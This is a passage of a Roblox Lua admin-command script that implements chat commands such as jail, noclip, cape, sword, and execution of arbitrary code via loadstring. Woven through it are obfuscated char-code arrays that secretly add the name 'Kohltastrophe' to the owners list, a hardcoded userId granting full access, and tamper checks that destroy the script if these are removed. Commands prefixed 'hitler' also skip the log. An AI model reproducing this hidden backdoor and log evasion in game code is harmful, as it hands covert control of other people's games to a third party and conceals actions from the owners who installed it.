  6241. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  6242. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  6243. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  6244. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  6245. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  6246. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  6247. end end
  6248. end
  6249. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  6250.  
  6251. function Infect(char)
  6252. if char and char:findFirstChild("Torso") then
  6253. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  6254. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  6255. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  6256. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  6257. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  6258. prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  6259. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  6260. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  6261. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  6262. end end
  6263. end
  6264. end if not ntab then script:Destroy() end
  6265.  
  6266. function ScrollGui()
  6267. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  6268. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  6269. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  6270. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  6271. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  6272. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  6273. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  6274. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  6275. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  6276. local num = 0
  6277. local downv = false
  6278. local upv = false
  6279.  
  6280. down.MouseButton1Down:connect(function() downv = true upv = false
  6281. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  6282. repeat  pos = pos + UDim2.new(0,0,0,-6)
  6283. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  6284. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  6285. end)
  6286. down.MouseButton1Up:connect(function() downv = false end)
  6287. up.MouseButton1Down:connect(function() upv = true downv = false
  6288. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  6289. repeat  pos = pos + UDim2.new(0,0,0,6)
  6290. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  6291. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  6292. end)
  6293. up.MouseButton1Up:connect(function() upv = false end)
  6294. return scr, cmf, ent, num
  6295. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  6296. if not ntab then script:Destroy() end
  6297. if not bct then script:Destroy() end
  6298.  
  6299. function Chat(msg,plr)
  6300. coroutine.resume(coroutine.create(function()
  6301. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  6302. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  6303. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  6304. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  6305. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  6306. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  6307. if msg:lower() == "cmds" or msg:lower() == "commands" then
  6308. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  6309. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  6310. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  6311. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  6312. local ost = {"pa plr","unpa plr","nuke plr"}
  6313. local tost = {"oa plr","unoa plr","settings"}
  6314. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  6315. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  6316. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6317. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6318. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6319. end
  6320.  
  6321. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  6322.  
  6323. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  6324. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  6325. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  6326. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6327. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6328. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  6329. end end
  6330.  
  6331. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  6332. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  6333. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  6334. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  6335. end
  6336.  
  6337. if msg:lower() == "tools" or msg:lower() == "toollist" then
  6338. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  6339. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  6340. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  6341. end
  6342.  
  6343. if msg:lower():sub(1,2) == "s " then
  6344. coroutine.resume(coroutine.create(function()
  6345. Output(msg:sub(3), plr)
  6346. if script:findFirstChild("ScriptBase") then
  6347. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  6348. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  6349. else loadstring(msg:sub(3))()
  6350. end
  6351. end))
  6352. end
  6353.  
  6354. if msg:lower():sub(1,3) == "ls " then
  6355. coroutine.resume(coroutine.create(function()
  6356. if script:findFirstChild("LocalScriptBase") then
  6357. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  6358. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  6359. end
  6360. end))
  6361. end
  6362.  
  6363. if msg:lower():sub(1,6) == "lsplr " then
  6364. local chk1 = msg:lower():sub(7):find(" ") + 6
  6365. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  6366. for i, v in pairs(plrz) do
  6367. coroutine.resume(coroutine.create(function()
  6368. if v and v:findFirstChild("PlayerGui") then
  6369. if script:findFirstChild("LocalScriptBase") then
  6370. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  6371. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  6372. end
  6373. end
  6374. end))
  6375. end
  6376. end
  6377.  
  6378. if msg:lower():sub(1,4) == "ins " then
  6379. coroutine.resume(coroutine.create(function()
  6380. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  6381. if obj and #obj:children() >= 1 and plr.Character then
  6382. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  6383. end
  6384. end))
  6385. end
  6386.  
  6387. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  6388. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  6389. RemoveMessage()
  6390. objects = {}
  6391. end
  6392.  
  6393. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  6394. game.Lighting.Ambient = origsettings.abt
  6395. game.Lighting.Brightness = origsettings.brt
  6396. game.Lighting.TimeOfDay = origsettings.time
  6397. game.Lighting.FogColor = origsettings.fclr
  6398. game.Lighting.FogEnd = origsettings.fe
  6399. game.Lighting.FogStart = origsettings.fs
  6400. for i, v in pairs(lobjs) do v:Destroy() end
  6401. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  6402. end
  6403.  
  6404. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  6405. coroutine.resume(coroutine.create(function()
  6406. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  6407. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  6408. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  6409. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  6410. end))
  6411. end
  6412.  
  6413. if msg:lower():sub(1,10) == "countdown " then
  6414. local num = math.min(tonumber(msg:sub(11)),120)
  6415. for i = num, 1, -1 do
  6416. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  6417. wait(1)
  6418. end
  6419. end
  6420.  
  6421. if msg:lower():sub(1,3) == "tm " then
  6422. local chk1 = msg:lower():sub(4):find(" ") + 3
  6423. local num = tonumber(msg:sub(4,chk1-1))
  6424. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  6425. end
  6426.  
  6427. if msg:lower():sub(1,2) == "m " then
  6428. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  6429. end
  6430.  
  6431. if msg:lower():sub(1,2) == "h " then
  6432. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  6433. end
  6434.  
  6435. if msg:lower():sub(1,3) == "pm " then
  6436. local chk1 = msg:lower():sub(4):find(" ") + 3
  6437. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  6438. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  6439. end
  6440.  
  6441. if msg:lower():sub(1,11) == "resetstats " then
  6442. local plrz = GetPlr(plr, msg:lower():sub(12))
  6443. for i, v in pairs(plrz) do
  6444. coroutine.resume(coroutine.create(function()
  6445. if v and v:findFirstChild("leaderstats") then
  6446. for a, q in pairs(v.leaderstats:children()) do
  6447. if q:IsA("IntValue") then q.Value = 0 end
  6448. end
  6449. end
  6450. end))
  6451. end
  6452. end
  6453.  
  6454. if msg:lower():sub(1,5) == "gear " then
  6455. local chk1 = msg:lower():sub(6):find(" ") + 5
  6456. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  6457. for i, v in pairs(plrz) do
  6458. coroutine.resume(coroutine.create(function()
  6459. if v and v:findFirstChild("Backpack") then
  6460. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  6461. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  6462. obj:Destroy()
  6463. end
  6464. end))
  6465. end
  6466. end
  6467.  
  6468. if msg:lower():sub(1,4) == "hat " then
  6469. local chk1 = msg:lower():sub(5):find(" ") + 4
  6470. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  6471. for i, v in pairs(plrz) do
  6472. coroutine.resume(coroutine.create(function()
  6473. if v and v.Character then
  6474. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  6475. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  6476. obj:Destroy()
  6477. end
  6478. end))
  6479. end
  6480. end
  6481.  
  6482. if msg:lower():sub(1,5) == "cape " then
  6483. local chk1 = msg:lower():sub(6):find(" ")
  6484. local plrz = GetPlr(plr, msg:lower():sub(6))
  6485. local str = "torso.BrickColor"
  6486. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  6487. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  6488. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  6489. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  6490. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  6491. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  6492. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  6493. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  6494. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  6495. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  6496. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  6497. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  6498. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  6499. if BrickColor.new(teststr) ~= nil then str = teststr end
  6500. end
  6501. for i, v in pairs(plrz) do
  6502. coroutine.resume(coroutine.create(function()
  6503. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  6504. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  6505. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  6506. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  6507. local torso = plr.Character.Torso
  6508. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  6509. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  6510. p.Size = Vector3.new(.2,.2,.2)
  6511. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  6512. local motor1 = Instance.new("Motor", p)
  6513. motor1.Part0 = p
  6514. motor1.Part1 = torso
  6515. motor1.MaxVelocity = .01
  6516. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  6517. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  6518. local wave = false
  6519. repeat wait(1/44)
  6520. local ang = 0.1
  6521. local oldmag = torso.Velocity.magnitude
  6522. local mv = .002
  6523. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  6524. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  6525. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  6526. motor1.DesiredAngle = -ang
  6527. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  6528. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
  6529. if torso.Velocity.magnitude < .1 then wait(.1) end
  6530. until not p or p.Parent ~= torso.Parent
  6531. script:Destroy()
  6532. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  6533. end
  6534. end))
  6535. end
  6536. end
  6537.  
  6538. if msg:lower():sub(1,7) == "uncape " then
  6539. local plrz = GetPlr(plr, msg:lower():sub(8))
  6540. for i, v in pairs(plrz) do
  6541. coroutine.resume(coroutine.create(function()
  6542. if v and v:findFirstChild("PlayerGui") and v.Character then
  6543. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  6544. end
  6545. end))
  6546. end
  6547. end
  6548.  
  6549. if msg:lower():sub(1,7) == "noclip " then
  6550. local plrz = GetPlr(plr, msg:lower():sub(8))
  6551. for i, v in pairs(plrz) do
  6552. coroutine.resume(coroutine.create(function()
  6553. if v and v:findFirstChild("PlayerGui") then
  6554. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  6555. cl.Parent = v.PlayerGui cl.Disabled = false
  6556. end
  6557. end))
  6558. end
  6559. end
  6560.  
  6561. if msg:lower():sub(1,5) == "clip " then
  6562. local plrz = GetPlr(plr, msg:lower():sub(6))
  6563. for i, v in pairs(plrz) do
  6564. coroutine.resume(coroutine.create(function()
  6565. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  6566. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  6567. v.Character.Torso.Anchored = false
  6568. wait(.1) v.Character.Humanoid.PlatformStand = false
  6569. end
  6570. end))
  6571. end
  6572. end
  6573.  
  6574. if msg:lower():sub(1,5) == "jail " then
  6575. local plrz = GetPlr(plr, msg:lower():sub(6))
  6576. for i, v in pairs(plrz) do
  6577. coroutine.resume(coroutine.create(function()
  6578. if v and v.Character and v.Character:findFirstChild("Torso") then
  6579. local vname = v.Name
  6580. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  6581. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  6582. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  6583. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  6584. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  6585. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  6586. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  6587. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  6588. end)
  6589. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  6590. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  6591. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  6592. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  6593. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  6594. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  6595. local msh2 = msh:Clone() msh2.Parent = back
  6596. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  6597. local msh4 = msh3:Clone() msh4.Parent = left
  6598. v.Character.Torso.CFrame = cf
  6599. end
  6600. end))
  6601. end
  6602. end
  6603.  
  6604. if msg:lower():sub(1,7) == "unjail " then
  6605. local plrz = GetPlr(plr, msg:lower():sub(8))
  6606. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  6607. end
  6608.  
  6609. if msg:lower():sub(1,11) == "starttools " then
  6610. local plrz = GetPlr(plr, msg:lower():sub(12))
  6611. for i, v in pairs(plrz) do
  6612. coroutine.resume(coroutine.create(function()
  6613. if v and v:findFirstChild("Backpack") then
  6614. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  6615. end
  6616. end))
  6617. end
  6618. end
  6619.  
  6620. if msg:lower():sub(1,6) == "sword " then
  6621. local plrz = GetPlr(plr, msg:lower():sub(7))
  6622. for i, v in pairs(plrz) do
  6623. coroutine.resume(coroutine.create(function()
  6624. if v and v:findFirstChild("Backpack") then
  6625. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
  6626. sword.GripForward = Vector3.new(-1,0,0)
  6627. sword.GripPos = Vector3.new(0,0,-1.5)
  6628. sword.GripRight = Vector3.new(0,1,0)
  6629. sword.GripUp = Vector3.new(0,0,1)
  6630. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  6631. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  6632. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  6633. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  6634. local Damage = 15
  6635. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  6636. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  6637. SlashSound.Volume = 1
  6638. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  6639. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  6640. LungeSound.Volume = 1
  6641. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  6642. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  6643. UnsheathSound.Volume = 1
  6644. local last = 0
  6645. script.Parent.Handle.Touched:connect(function(hit)
